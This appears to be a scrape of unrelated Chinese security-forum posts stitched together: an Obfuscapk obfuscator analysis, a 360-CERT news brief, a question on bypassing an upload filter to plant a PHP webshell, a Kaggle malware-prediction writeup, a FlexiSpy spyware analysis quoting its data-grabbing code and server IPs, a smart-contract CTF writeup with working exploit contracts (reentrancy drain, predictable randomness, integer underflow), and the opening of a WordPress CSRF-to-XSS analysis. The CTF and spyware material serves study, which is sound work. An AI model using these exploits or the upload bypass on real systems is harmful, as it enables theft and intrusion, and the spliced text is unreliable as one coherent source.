http://www.dexlabs.org/blog/bytecode-obfuscation
[6] Detecting repackaged android apps using server-side analysis
<https://pure.tue.nl/ws/files/46945161/855432-1.pdf>
[7] https://github.com/ysrc/AndroidObfuseDictionary
[8] Statistical Deobfuscation of Android Application.
<http://www.srl.inf.ethz.ch/papers/deguard.pdf>
[9] Android字符串及字典开源混淆实现 https://mp.weixin.qq.com/s/SRv1Oar87w1iKuDXS4oaew
[10] Dex混淆的原理及实现
<http://burningcodes.net/dex%E6%B7%B7%E6%B7%86%E7%9A%84%E5%8E%9F%E7%90%86%E5%8F%8A%E5%AE%9E%E7%8E%B0/>
[11] Android Code Protection via Obfuscation Techniques Past, Present and
Future Directions.
<https://arxiv.org/pdf/1611.10231.pdf> | 社区文章 |
## 前言
[Obfuscapk](https://github.com/ClaudiuGeorgiu/Obfuscapk
"Obfuscapk")是一个python实现的apk混淆工具，使用插件系统构建，被设计为模块化且易于扩展。每个obfuscator都是一个从抽象基类(obfuscator_category.py)继承的插件，都实现了obfuscate方法。
使用新的obfuscator对该工具进行扩展非常简单：在src/obfuscapk/obfuscators目录中添加实现混淆技术的源代码和插件元数据文件(obfuscator-name.obfuscator)即可。本文接下来分析的版本是此时最新的1.1.2版。
## 代码分析
在cli.py中处理了命令行参数之后调用main.py中的perform_obfuscation函数，在perform_obfuscation函数中创建一个obfuscation.py中定义的obfuscation对象以存储所有需要的信息。然后将obfuscation对象作为obfuscate方法的参数按顺序传递给所有启用的插件(obfuscator)以进行处理。
obfuscation对象中调用decode_apk函数，其中调用apktool对原始apk文件进行反编译，得到AndroidManifest.xml\resource文件\assets文件\so文件等等信息，对smali文件调用正则表达式匹配得到方法\变量\类等等信息。
接下来我们来看每个obfuscator的实现。 **NewAlignment** ， **NewSignature** ， **Rebuild**
分别用来重新对齐，重新签名和重新构建； **VirusTotal**
用来将混淆前和混淆后的apk发送到VirusTotal。它们都不是混淆技术，所以接下来不会涉及。 **Nop** 是在smali代码中添加nop指令；
**DebugRemoval** 是删除调试信息； **RandomManifest** 是重新排列AndroidManifest.xml文件；
**Goto** 是在方法的开头加上goto跳转到方法的最后一行，然后在方法的最后一行加上goto跳转回来； **Reorder**
是将分支指令的条件改成相反的然后重新排列相应的代码，并且还类似于 **Goto** 通过goto对指令进行重新排序； **MethodOverload**
利用Java的重载特性，对于一个已经存在的方法创建具有相同名称的新方法并且在原有参数的基础之上添加新的随机参数，然后用随机算术指令填充新方法；
**Reflection** 和 **AdvancedReflection** 是通过反射的方式调用原来的方法，可以理解成另外一种
**CallIndirection** 。这些混淆技术我测试之后发现对反编译的结果影响比较有限或者根本不会造成影响，接下来重点分析的是
**ArithmeticBranch** ， **AssetEncryption/LibEncryption** ，
**ConstStringEncryption** ( **ResStringEncryption** )， **ClassRename** ，
**MethodRename** ， **FieldRename** 和 **CallIndirection** 。
#### ArithmeticBranch
插入垃圾代码，垃圾代码由算术计算和依赖于这些计算结果的分支指令组成，这些分支永远不会被执行。例子如下。
如果一个方法使用了两个及以上的寄存器就添加一个形式如(a+b)%b的条件，如果大于等于0继续执行下面的代码，如果小于0(不会发生)跳到method的结尾，method结尾再添加一个跳转回来的goto语句。
虽然看上去效果比较鸡肋，但是可以进一步做得更复杂。
#### AssetEncryption/LibEncryption
AssetEncryption/LibEncryption都是类似的，这里以AssetEncryption为例。对asset文件进行加密。例子如下。
如果调用了assetManager.open函数打开asset文件就对asset文件进行AES加密，同时把assetManager.open函数替换成自己的解密函数，如果进行了加密并且没有添加存在解密函数的smali文件就添加。
#### ConstStringEncryption
对字符串进行加密。例子如下。
将`const-string register,
plaintext`中的`plaintext`加密成`ciphertext`，然后将其替换成下面三行代码(接下来的代码中[]中为变量名)。
const-string/jumbo [register], [ciphertext]
invoke-static {[register]}, Lcom/decryptstringmanager/DecryptString;->decryptString(Ljava/lang/String;)Ljava/lang/String;
move-result-object [register]
将`.field (optional) static (optional) string_name:Ljava/lang/String; =
plaintext`中的`plaintext`加密成`ciphertext`，将其替换成`.field (optional) static
(optional) string_name:Ljava/lang/String;`，然后增加下面四行代码。
const-string/jumbo v0, [ciphertext]
invoke-static {v0}, Lcom/decryptstringmanager/DecryptString;->decryptString(Ljava/lang/String;)Ljava/lang/String;
move-result-object v0
sput-object v0, [class_name]->[string_name]:Ljava/lang/String;
如果存在static constructor就把这四行代码添加到static constructor中，否则新建一个static constructor。
同样如果进行了加密并且没有添加存在解密函数的smali文件就添加。
类似的 **ResStringEncryption** 可以对资源文件中的字符串加密，这里就不再分析了。
#### ClassRename
重命名类名。例子如下。
遍历所有smali文件得到类名和smali文件的对应关系。
调用transform_package_name函数重命名包名，具体做法是对`.`分割的每部分计算md5取前8位再加上p，并且要修改AndroidManifest.xml中对应的包名。
调用rename_class_declarations函数对类名的定义重命名，对以`/`和`$`分割的每部分如果不是数字并且不是R类用和前面同样的方法重命名。
对于表示内部类的InnerClass注解也要重命名其中的类名。
rename_class_declarations函数返回重命名前后类名的对应关系rename_transformations。接下来会调用slash_to_dot_notation_for_classes函数对rename_transformations做进一步处理，去掉开头的`L`和结尾的`；`，并将`/`和`$`替换成`.`，得到dot_rename_transformations。
调用rename_class_usages_in_smali函数替换smali文件中类名的使用。
考虑了以下几种情况：
1.类名能和dot_rename_transformations匹配上
2.类名加上`;`之后能和rename_transformations匹配上
3.类名能和rename_transformations匹配上
调用rename_class_usages_in_xml函数对xml文件中的类名进行替换。获取所有layout目录下的xml文件和AndroidManifest.xml文件。
替换时要从最长的到最短的替换，防止发生只替换了一部分的情况。还要替换没有包名的Activity名(AndroidManifest.xml中的String
Chunk)。
#### MethodRename
重命名方法名。例子如下。
读取Obfuscapk\src\obfuscapk\resources目录下的android_class_names_api_27.txt文件得到android系统中的类名，然后读取smali文件中的.super得到apk中用到的父类的类名，两者的交集即为应该忽略的类名。
调用get_methods_to_ignore函数读取smali文件包含的类，检查这个类是否属于应该忽略的类。如果这是一个应该忽略的类，获取它的方法并添加到重命名时要忽略的方法列表methods_to_ignore中。只添加类中的直接方法中除了构造方法，native方法和抽象方法的方法，因为这些方法是不会被重命名的。
调用rename_method_declarations函数对方法的定义重命名，如果是一个枚举类不会重命名，并且只重命名类中的直接方法中除了构造方法，native方法和抽象方法的不在methods_to_ignore中的方法，具体做法是对方法名计算md5取前8位再加上m，最后返回重命名的方法renamed_methods。
调用rename_method_invocations函数对方法的调用重命名，如果调用的是直接方法或者静态方法并且方法在renamed_methods中并且不是在android系统中的类中被调用的，则对此处的调用重命名。
#### FieldRename
变量重命名。例子如下。
取得所有Landroid或者Ljava开头的SDK类的声明sdk_class。
判断是不是multidex，如果是的话要分别处理每个dex，分别调用rename_field_declarations函数进行对变量的定义重命名，并且每次重命名时都会调用add_random_fields函数随机添加1到4个垃圾变量的定义，具体做法是对变量名计算md5取前8位再加上f，而随机添加的垃圾变量是在重命名之后的基础上再加上8个随机字符得到的。返回重命名的变量renamed_fields。
调用rename_field_references函数对变量的引用重命名。当找到一个变量的引用之后如果该变量在renamed_fields之中并且：1.类名不以Landroid或者Ljava开始或者2.类名在sdk_class中，就对此处的引用重命名。在有SDK类的声明的情况下可以重命名其中的变量。
#### CallIndirection
方法间接调用。例子如下。
判断是不是multidex，如果是的话要分别处理每个dex，分别调用add_call_indirections函数。
add_call_indirections函数中首先调用update_method函数->change_method_call函数将代码中调用原来的方法改成调用新增的方法，并准备好新增的方法的声明，新增的方法中再调用原来的方法。
调用add_method函数将新增的方法的声明添加到`# direct methods`之后。
每对一个方法进行这样的混淆都要统计方法的总数，超过数量限制之后break。
## 总结
Obfuscapk中涉及的混淆技术包括加密，重命名，打乱控制流等绝大部分java层常见的混淆技术，组合在一起使用还是能有比较好的效果的，也能够在此基础之上二次开发定制自己的混淆或者反混淆工具。 | 社区文章 |
# 4月13日安全热点 - CVE-2018-7600 Drupal 远程命令执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
360-CERT 每日安全简报 2018-04-13 星期五
## 【漏洞】
1.checkpoint CVE-2018-7600 Drupal 远程命令执行漏洞研究分析(poc已公开)
<http://t.cn/RmKaG2M>
2.Simple DirectMedia Layer 多个漏洞可造成代码执行
<http://t.cn/RmSzHyk>
3.CVE-2018-0950：微软outlook漏洞可能会被用于盗取windows账号
<http://t.cn/RmKK9LE>
4.CVE-2018-9205：Drupal avatar_uploader v7.x-1.0-beta8模块任意文件下载
<http://t.cn/Rmo1vHZ>
5.thinkphp更新安全补丁
<http://t.cn/RmK9EPA>
6.CVE-2018-1000168：空指针导致nghttp2拒绝服务攻击
<http://t.cn/Rm9GdlX>
7.CVE-2018-1273 Spring Data Commons组件远程代码执行POC
<http://t.cn/Rm9fUJX>
## 【安全事件】
1.攻击者利用rtorrent来挖矿
<http://t.cn/RmKoRoz>
2.UPnProxy攻击：400款家用路由机型受影响，逾6万台设备已遭僵尸网络滥用
<http://t.cn/Rmo3Yw6>
## 【安全资讯】
1.英特尔第40版 x86/x64 体系架构优化手册
<http://t.cn/RmS92k3>
2.研究员发现了多款西门子设备漏洞（SIPROTEC 4，SIPROTEC Compact和Reyrolle）可导致变电站遭受攻击
<http://t.cn/Rmo64kW>
3.英国疑似已经对伊斯兰国家组织进行了“重大进攻性网络行动”。
<http://t.cn/RmKK9yE>
## 【安全报告】
1.卡巴斯基2018第一季度APT趋势报告
<http://t.cn/Rmo1vTL>
## 【安全研究】
1.使用机器学习来生成可读的潜在威胁情报
<http://t.cn/Rmo1vEw>
2.Git-All-Secrets：通过利用多个开源Git搜索工具来捕获所有Git Secrets的工具
<http://t.cn/RmKK1KC>
3.Mythril：一个用于以太坊智能合约的安全分析工具
<http://t.cn/Rm9bZCm>
4.使用新的early bird技术绕过安全检测
<http://t.cn/RmK06X9>
5.使用光子和量子力学定律的保证随机数安全
<http://t.cn/Rm9bZ93>
【以上信息整理于 <https://cert.360.cn/daily> 】
**360CERT全称“360 Computer Emergency Readiness
Team”，我们致力于维护计算机网络空间安全，是360基于”协同联动，主动发现，快速响应”的指导原则，对全球重要网络安全事件进行快速预警、应急响应的安全协调中心。**
**微信公众号：360cert** | 社区文章 |
在一个网站上传头像这里，上传jpg能够正常上传，上传php提示xxxx不合格之类的，是在提交之前显示的。然后我先是修改php文件名为jpg，然后通过burp抓包，将filename改为php，发现上传成功，但是文件名被重命名并且有加密，有完整路径，蚁剑连接不上，怎么解决？ | 社区文章 |
## 前言
目前最好成绩45/1039，暂时进入Top
5%，到现在为止，我觉得本次比赛的难点在于：一堆类别型属性，包括大量高势集、关键特征缺失、训练集和测试集的差异性。
## 0x01 数据再理解
### 一堆高势集
此次比赛数据集总共有82个属性，真正的数值型属性只有少数几个，比如
true_numerical_columns = [
'Census_ProcessorCoreCount',
'Census_PrimaryDiskTotalCapacity',
'Census_SystemVolumeTotalCapacity',
'Census_TotalPhysicalRAM',
'Census_InternalPrimaryDiagonalDisplaySizeInInches',
'Census_InternalPrimaryDisplayResolutionHorizontal',
'Census_InternalPrimaryDisplayResolutionVertical',
'Census_InternalBatteryNumberOfCharges'
]
这其中的属性有的也可以看做类别数据，所以数值属性就更稀少了，绝大多数都是类别型数据，而且有很多属性有上千上万个不同的值，这就叫做高势集，高势集很难处理。传统处理类别型数据的方式有One-hot编码、Label encoding、Count encoding、LabelCount encoding、Hash
encoding。但是这几种类别特征编码的方式都很难处理高势集。One-hot编码很容易产生大量的稀疏特征，如果一个属性有十万个不同的值，那么经过One-hot编码会产生十万个稀疏特征，这简直无法想象。因为Label
encoding本身有缺点，数字之间的相邻性不足以代表类别数据之间的紧密相关性，所以大量采用Label encoding编码高势集也不现实。
### 可能的关键特征
什么样的机器容易被感染？不具备领域知识，很直观的想，机器自身的防护状态越差可能越容易被感染。那么AppVersion，EngineVersion，AvSigVersion这三个防护状态版本信息可能就比较关键了，引擎版本越低，可能防护状态就会越差。
直接使用原始特征进行训练，训练完毕看一下特征的重要性，这三个特征都处于前十。
使用frequency encoding编码了前十的高势集再训练，再看一下特征的重要性。
可以看出还是比较符合我们的认知，AppVersion、EngineVersion和AvSigVersion较为重要。
采用其他编码方式，这三个属性仍然很重要。
### 训练集和测试集的分布差异性
把数据按AvSigVersion排序，观察一下AvSigVersion在训练集和测试集中的分布，
横坐标是AvSigVersion的序列，纵坐标是每个AvSigVersion序列的个数，可以看出训练集和测试集存在明显的差别，测试集中有一些AvSigVersion从来没有在训练集中出现过。
把数据按AvSigVersion和AppVersion排序，观察一下AvSigVersion和AppVersion在训练集和测试集的分布，
很明显，训练集和测试集在AvSigVersion，AppVersion上的分布差异较大，测试集的版本数据大多较新，看到了一点预测未来的意思。
## 0x02 编码高势集
最初我是用frequency encoding编码高势集，效果较oral feature有了0.003左右的提升，之后开始使用mean
encoding编码。关于mean encoding可以看[这篇文章](https://www.kaggle.com/vprokopev/mean-likelihood-encodings-a-comprehensive-study
"这篇文章")，写的很全面细致。使用平均目标值（以及其他目标统计数据）编码分类变量是处理高基数特征的常用方法，对于基于树的模型尤其有用。方法很简单：计算每个类别的平均目标值（用于回归任务）或数据点属于其中一个类（用于分类任务）的可能性，并将其用作类的标签。这种方法（简单而非规范化实现）与标签编码非常相似，我们也只是为每个类别分配标签，但这些标签不是随机的均值编码，它们与目标变量相关，这有助于机器学习模型更有效地使用标签。mean
encoding有一个缺点是存在过拟合，所以要加入一些噪声处理。这里我直接采用了Kaggle上一段代码。
def add_noise(series, noise_level):
return series * (1 + noise_level * np.random.randn(len(series)))
def target_encode(trn_series=None,
tst_series=None,
target=None,
min_samples_leaf=1,
smoothing=1,
noise_level=0):
"""
Smoothing is computed like in the following paper by Daniele Micci-Barreca
https://kaggle2.blob.core.windows.net/forum-message-attachments/225952/7441/high%20cardinality%20categoricals.pdf
trn_series : training categorical feature as a pd.Series
tst_series : test categorical feature as a pd.Series
target : target data as a pd.Series
min_samples_leaf (int) : minimum samples to take category average into account
smoothing (int) : smoothing effect to balance categorical average vs prior
"""
assert len(trn_series) == len(target)
assert trn_series.name == tst_series.name
temp = pd.concat([trn_series, target], axis=1)
# Compute target mean
averages = temp.groupby(by=trn_series.name)[target.name].agg(["mean", "count"])
# Compute smoothing
smoothing = 1 / (1 + np.exp(-(averages["count"] - min_samples_leaf) / smoothing))
# Apply average function to all target data
prior = target.mean()
# The bigger the count the less full_avg is taken into account
averages[target.name] = prior * (1 - smoothing) + averages["mean"] * smoothing
averages.drop(["mean", "count"], axis=1, inplace=True)
# Apply averages to trn and tst series
ft_trn_series = pd.merge(
trn_series.to_frame(trn_series.name),
averages.reset_index().rename(columns={'index': target.name, target.name: 'average'}),
on=trn_series.name,
how='left')['average'].rename(trn_series.name + '_mean').fillna(prior)
# pd.merge does not keep the index so restore it
ft_trn_series.index = trn_series.index
ft_tst_series = pd.merge(
tst_series.to_frame(tst_series.name),
averages.reset_index().rename(columns={'index': target.name, target.name: 'average'}),
on=tst_series.name,
how='left')['average'].rename(trn_series.name + '_mean').fillna(prior)
# pd.merge does not keep the index so restore it
ft_tst_series.index = tst_series.index
return add_noise(ft_trn_series, noise_level), add_noise(ft_tst_series, noise_level)
trn, sub = target_encode(train[column],
test[column],
target=target,
min_samples_leaf=100,
smoothing=10,
noise_level=0.01)
开始使用mean encoding编码了前八个高势集，效果较frequency
encoding有了0.002左右的提升，之后我扩大了编码范围（8-12-16-20），
mean_encoded_variables = [
'Census_OEMModelIdentifier',
'CityIdentifier',
'Census_FirmwareVersionIdentifier',
'AvSigVersion',
'Census_ProcessorModelIdentifier',
'Census_OEMNameIdentifier',
'CountryIdentifier',
'AVProductStatesIdentifier',
'DefaultBrowsersIdentifier',
'Census_FirmwareManufacturerIdentifier',
'Census_OSVersion',
'OsBuildLab',
'IeVerIdentifier',
'Census_OSBuildRevision',
'GeoNameIdentifier',
'LocaleEnglishNameIdentifier'
]
实验数据表明编码前16个高势集效果较优，又有了0.003左右的提升。还没确定只是简单扩大了特征范围让模型性能提升了，还是扩大的特征集合中正好覆盖了可能的关键特征，这点还未加以验证。
## 0x03 构造新特征和特征选择
对我来说，打一场比赛大多靠的是体力，其次才是靠创造力。但是靠体力也可以学到很多，尝试各种想法，相当于靠这一场比赛活络了自己的知识库。构造新特征比较依赖创造力，这应该是我在此次比赛中遇到的最棘手的问题。我借鉴了Kaggler关于时间序列编码构造特征的方式，对上面提到的AvSigVersion、AppVersion和EngineVersion排序，得到了时间序列的版本数据。比如AvSigVersion有20万个版本，版本值是从0.0.0.0到1.111.111.1111。那么排序得到的序列数据就是0~200000，把序列数据作为一种新的特征，值越大的说明版本越新，可能一定程度上对预测机器是否容易被感染有促进作用。
IndexID = (pd.concat([train[['MachineIdentifier',
'AppVersion',
'EngineVersion',
'AvSigVersion',
'HasDetections']],
test[['MachineIdentifier',
'AppVersion',
'EngineVersion',
'AvSigVersion']]],
axis=0, sort=False)
.reset_index(drop=True)
.sort_values(['AppVersion', 'EngineVersion','AvSigVersion'])
.reset_index(drop=True))
IndexID = pd.merge(IndexID, (IndexID[[ 'AppVersion',
'EngineVersion',
'AvSigVersion']].drop_duplicates()
.reset_index(drop=True)
.reset_index()
.rename({'index':'IndexID'}, axis=1)),
on=[ 'AppVersion',
'EngineVersion',
'AvSigVersion'], how='left')
train['IndexID'] = (IndexID[IndexID.HasDetections.notnull()]
.sort_values(['MachineIdentifier'])
.reset_index(drop=True))['IndexID']
test['IndexID'] = (IndexID[IndexID.HasDetections.isnull()]
.sort_values(['MachineIdentifier'])
.reset_index(drop=True))['IndexID']
train = train.sort_values(['IndexID']).reset_index(drop=True)
增加这个特征，实验结果提升了0.001，说明还是有一点作用的。我尝试改变AppVersion、EngineVersion、AvSigVersion三者之间的顺序，5折交叉中，每种顺序在每折中的效果各不相同，有的好有的差，但是总的效果都差不多。不知道有没方式能把每种顺序在每折中的优势结合。
## 0x04 缩小训练集和测试集的GAP
到目前为止我的GAP还在0.05+，大佬们的GAP在0.04+，这也许就是我的single model LB：0688，multi model
LB：0.692，排在第45名，大佬们的single model LB：0.699，multi model LB：0.701
排在第一名的原因。尝试了一些想法效果都不好，还是没找到有效处理GAP的方法，难道真要先做一个对抗性验证找到一个和测试集相似的训练集的子集，再用这子集训练吗。另外我观察到Kaggle上的kernel版本中，R语言版本的Kernel效果比Python版本的kernel好0.004左右，R
kernel其中就用了训练集的子集去训练。还是得向Kaggler学习，尝试各种想法，比如尝试先结合特征再进行编码，围绕可能的关键特征构造新特征，虽然不一定有效果。
## 0x05 Reference
<https://iami.xyz/MeiTuanMachineLearning-FeatureEnginne-Note/>
<https://www.kaggle.com/vprokopev/mean-likelihood-encodings-a-comprehensive-study>
<https://www.kaggle.com/c/microsoft-malware-prediction/discussion/77670> | 社区文章 |
# 【技术分享】全球知名移动间谍软件FlexiSpy的分析(part1)
|
##### 译文声明
本文是翻译文章，文章来源：cybermerchantsofdeath.com
原文地址：<http://www.cybermerchantsofdeath.com/blog/2017/04/23/FlexiSpy.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：100RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
传送门：[全球知名移动间谍软件FlexiSpy的分析(part2)](http://bobao.360.cn/learning/detail/3776.html)
**0x00 前言
**
2017/04/22，FlexiDie释放了移动端间谍软件FlexiSpy的源代码和二进制文件。身为逆向工程师的我做了如下分析。IOC节是为其他逆向工程师和反病毒厂商准备的。概述是为提供给记者。我将在一两天内公布详细技术细节。
**0x01 IOCs**
下面URL和String节内容提供给AV公司。这可以用于识别目的。当我有时间我将输出一些yara规则。
**0x02 URLs**
[](http://58.137.119.229/RainbowCore/)
[http://58.137.119.229/RainbowCore/](http://58.137.119.229/RainbowCore/)（在com.vvt.phoenix.port.test.CSMTest中找到）
[http://trkps.com/m.php?lat=%f&long=%f&t=%s&i=%s&z=5](http://trkps.com/m.php?lat=%25f&long=%25f&t=%25s&i=%25s&z=5)（在source//location_capture/tests/location_capture_tests/src/com/vvt/locationcapture/tests/Location_capture_testsActivity.java）
另一个IP地址在代码注释中找到//private String mUrl =
[http://202.176.88.55:8880/](http://202.176.88.55:8880/)
**0x03 Strings**
下面的字符串在泄漏的源代码中找到，文件名：
/source/phoenix/test/phoenix_demo/src/demo/vvt/phoenix/PhoenixDemoActivity.java：
"/sdcard/pdemo/";
"http://58.137.119.229/RainbowCore/";
"http://192.168.2.116/RainbowCore/";
"gateway/unstructured";
/sdcard/data/data/com.vvt.im"
**
**
**0x04 概述**
本节是为记者和那些想要写间谍软件的技术文章的人准备的。这个分析通过简单的逆向两个安卓应用和检查泄漏的源代码完成。源代码的版本是1.00.1，安卓应用的版本是2.24.3和2.25.1。版本是重要的，因为1.00.1只能监控一个及时通信应用，而2.24.3版本监控一打流行的及时通信客户端。请注意本文只有几个小时的分析，代码库中还有更多的功能。
应用安装在移动设备上。如果设备root过，将发生一系列操作来确保间谍软件驻留在受害者设备中。本文编写时，我还没有发现间谍软件如何root一个未root的设备。
恶意软件支持各种命令，包含但不限于：音频记录，视频记录，通话记录（来电和去电），擦除设备数据，SMS拦截，SMS消息关键字监控，监控摄像头照相，通讯录，日历信息，位置跟踪，gmail应用消息和一组设计来监控特殊的及时通信应用的插件。
所有的能力是可能的，因为移动应用程序请求了大量的权限。但是我的理解是除非root了，否则监控其他应用：whatsapp，snapchat等不能实现。
**0x05 应用监控**
APK有一个模块系统，允许提取大量应用的敏感信息。正常情况下，这些应用的应用数据是受保护的，但是如果手机root了，间谍软件能够抓取任何应用的敏感信息。
**0x06 Whatsapp**
能够抓取设备上所有的私有Whatsapp的文件。是否包含私有消息和附件需要测试。
**0x07 Snapchat**
参考代码，能抓取到snapchat文件。手机需要root
public static String a(String arg10, String arg11) {
String v0;
String v1 = null;
String[] v3 = new String[]{String.format("%s/%s/%s/%s", "/data/data", "com.snapchat.android", arg10, arg11), String.format("%s/%s/%s/%s", "/dbdata/databases", "com.snapchat.android", arg10, arg11)};
int v4 = v3.length;
int v2 = 0;
while(true) {
if(v2 < v4) {
v0 = v3[v2];
if(ShellUtil.b(v0)) {
}
else {
++v2;
continue;
}
}
else {
return v1;
}
return v0;
}
return v1;
**0x08 接下来**
我将完成逆向APK并提供深入技术分析。
传送门：[全球知名移动间谍软件FlexiSpy的分析(part2)](http://bobao.360.cn/learning/detail/3776.html) | 社区文章 |
## 介绍
Security Innovation Blockchain CTF是一个关于智能合约的ctf，任务目标是用各种漏洞和手段提取目标合约的所有以太坊
个人感觉这个ctf更实际一点，代码给人真实环境的感觉
目前做的人不是很多，并且我没有搜到writeup，刷刷排名进前25还是很容易的
在做之前请切换成测试链，并且拥有6个以上的ether
* * *
### 1.Donation
题目界面有3个按钮，不用管它，如果是做ctf的话，所有的操作都在remix里做，这样就知道每一步到底干了啥。
源文件给了2个，其中`BaseGame.sol`是所有挑战的基础，每一关的题目都会从它上面继承，并且使用里面的函数修饰器。
pragma solidity ^0.4.2;
//https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
import "../node_modules/zeppelin-solidity/contracts/math/SafeMath.sol";
contract BaseGame{
using SafeMath for uint256;
uint256 public contractBalance;
mapping(address => bool) internal authorizedToPlay;
event BalanceUpdate(uint256 balance);
function BaseGame(address _home, address _player) public {
authorizedToPlay[_home] = true;
authorizedToPlay[_player] = true;
}
// This modifier is added to all external and public game functions
// It ensures that only the correct player can interact with the game
modifier authorized() {
require(authorizedToPlay[msg.sender]);
_;
}
// This is called whenever the contract balance changes to synchronize the game state
function addGameBalance(uint256 _value) internal{
require(_value > 0);
contractBalance = contractBalance.add(_value);
BalanceUpdate(contractBalance);
}
// This is called whenever the contract balance changes to synchronize the game state
function subtractGameBalance(uint256 _value) internal{
require(_value<=contractBalance);
contractBalance = contractBalance.sub(_value);
BalanceUpdate(contractBalance);
}
// Add an authorized wallet or contract address to play this game
function addAuthorizedWallet(address _wallet) external authorized{
authorizedToPlay[_wallet] = true;
}
}
当初始化题目的时候，`authorizedToPlay[_player] =
true;`让做题的人可以对题目进行操作，因为`authorized`修饰器会在每一关都修饰大部分函数，如果其他人要对题目操作的话，就要通过`addAuthorizedWallet`来添加权限。
其他的函数进行加减操作的时候都使用了导入的`SafeMath`，分析到这里这个可以得到`BaseGame.sol`是没有漏洞的，只要专注于题目就可以了。
题目里只有一个fallback函数和取钱函数，这一题的目的就是让做题的人在remix里搭建好环境，所以把所有的代码复制到remix里，然后修改import的文件路径(SafeMath.sol在github上有)
部署完成后点击取钱就行了。100分到手
### 2.Piggy Bank
在remix里把题目代码替换掉，BaseGmae.sol保留着放到最上面就好。
题目说这是Charlie的合约，所以其他人不能取钱
开始分析题目。整个题目的核心就是`withdraw`，所有继承了它的的函数有取钱的可能性，但是每一个函数都`require(amount<=piggyBalance)`，问题就在于piggyBalance在创建合约的时候已经增加了，所以这里其实是可以直接取钱的
在这里写上10^17，也就是0.1 ether
这题的目的就是说网页应用端是不能阻止有漏洞的合约的,虽然在题目页面直接取钱不行，但可以绕过他们直接对合约进行操作
### 3.SI Token Sale
这一题模仿ICO,1 ether换1 SIT，但是可以用1 SIT退回0.5 ether。
替换题目后，去掉import
SafeMath,加入`https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-zos/master/contracts/token/ERC20/StandardToken.sol`即可
在智能合约里，发送ether有很多方法,不过`transfer()`更加安全。搜索transfer后发现`withdrawEther`和`refundTokens`有，但是`refundTokens`要求了提钱的人必须是开发者.
继续分析，发现漏洞点在`balances[msg.sender] += _value -feeAmount;`这一语句。由于合约并没有对传入的`_value`做限制(即使他网页端做了限制，如图)，但是可以直接向合约传入比`feeAmount`小的值造成向下溢出。虽然题目用`internal`限制了买代币的函数不能直接外部调用，但是可以直接付钱给fallback函数。这里传`1
wei`给合约
然后就有茫茫多的代币了
然后退回`合约的钱*2`的代币就可以取完钱，就是(3^17+1)*2，因为刚才发了1 wei给合约，也要取回来。
### 4.Lottery
从这题开始就要自己写攻击合约了，写完放到题目代码的下面，部署一下就可以。部署后要用BaseGame.sol里的`addAuthorizedWallet`给合约添加权限。
这里考察对智能合约的理解，看起来`entropy`是随机哈希值，但是通过构造合约可以先获取，再提交。
contract test{
Lottery t;
function test() public payable {
t =Lottery(你的题目地址);
}
function attack()public payable{
bytes32 entropy = block.blockhash(block.number);
bytes32 entropy2 = keccak256(this);
uint256 target = uint256(entropy^entropy2);
t.play.value(1 finney)(target);
}
function() public payable{}
}
构造好合约后，部署，然后直接执行attack()就行了,注意执行的时候发1 finney。
### 5.Trust Fund
父母放了个基金，隔一年取一次，那也太磨人了，试试一次取完。
这个合约考察的是著名的DAO攻击，直接造成以太坊硬分叉，形成两条链，一条为以太坊（ETH），一条为以太坊经典（ETC）。
DAO攻击的元凶还是`msg.sender.call.value()`这个方法。因为恶意合约在调用这个方法的时候，会发送所有的gas给合约，合约则返回剩下的gas。因为合约接受以太币的时候会自动调用fallback函数，于是乎，恶意合约就可以在fallback函数里在调用取钱方法，用剩下的gas再次递归调用这个方法取钱。当然，要是实在想用这个方法也可以，那就要使用“检查-生效-交互”（Checks-Effects-Interactions）模式来写合约，在执行方法之前先进行检查。fallback函数可以形象的理解为"收钱函数"，因为只有定义了这个函数，合约才可以接受以太币(除了其他合约自毁发币等特殊方法)，即使它为空。而当调用一个不存在的函数的时候，也会执行fallback函数。
网上查的资料大多数都是通过大量循环取完钱，但是我在做这道题的时候发现了另外一个方法。当你的循环非常多，但是gas又比较少的时候，目标合约只会执行发币代码一次，而不会执行后面的修改余额代码。不过这样做要点10次才能取完，比较麻烦。
contract attack{
address addressOfbank;
uint count;
function attack(address addr)public payable{
addressOfbank = addr;
count =9;
}
function() payable public{
while(count>0){
count--;
TrustFund bank = TrustFund(addressOfbank);
bank.withdraw();
}
}
function withdraw(){
TrustFund bank=TrustFund(addressOfbank);
bank.withdraw();
}
}
开始一次，循环9次，刚好取完，gaslimit可以设置为默认的80倍(反正测试链不要钱)，如果不设置的话，就会有我上面说的第二种效果。
### 6.Heads or Tails
这个是猜硬币题目，和第4题类似。题目里看似随机的变量，其实在调用函数的时候就已经确定下来了。
构造：
contract attack{
HeadsOrTails t;
function attack()public payable{
t = HeadsOrTails(你的题目地址);
}
function atk()public payable{
bytes32 entropy = block.blockhash(block.number-1);
bytes1 coinFlip = entropy[0] & 1;
for(int i=0;i<20;i++){
if((coinFlip == 1 && true) || (coinFlip == 0 && !true)){
t.play.value(100000000000000000 wei)(true);
}
if((coinFlip == 1 && false) || (coinFlip == 0 && !false)){
t.play.value(100000000000000000 wei)(false);
}
}
}
function() public payable{ }
}
每次赢0.05个币，20次循环取完。执行atk()的时候要附带发送2个以太以上，保证合约有钱去赌，这里我发了3个。
### 7.Record Label
这道题看起来100行代码很多，看了好一会，经过大佬指点后发现都是没用的东西。直接调用`withdrawFundsAndPayRoyalties`函数提款1
ether就行。(压轴题好奇怪。。)
## 总结
智能合约的很多特性是非常有趣的，比如可以"预测"随机数等。但是由于智能合约很多操作直接关系到以太币，也就直接关系到金钱。所以再小的漏洞危害都是十分大的。并且由于合约一经发布不能更改，更要引起人们对安全性的重视。 | 社区文章 |
## CVE-2019-9787: Unauthenticated CSRF to XSS
由于在Web应用程序中未验证的错误影响最大，因此我们将重点放在未验证功能的漏洞挖掘上。最明显的功能是WordPress的评论功能。任何用户都可以在博客文章中添加评论，甚至可以在评论字符串中包含一些非常基本的HTML标签和属性设置。
### 抽象划分评论功能
我们首先将评论功能分解为一系列组件，在WordPress网站上创建评论时，用户输入将经过
多个组件处理。
1. 首先针对XSS攻击进行过滤（XSS过滤组件）
2. 然后针对SEO进行优化（SEO组件）
3. 然后存储在数据库中（数据库组件）
4. 用户查看评论时，从数据库中获取并再次修改（优化组件）
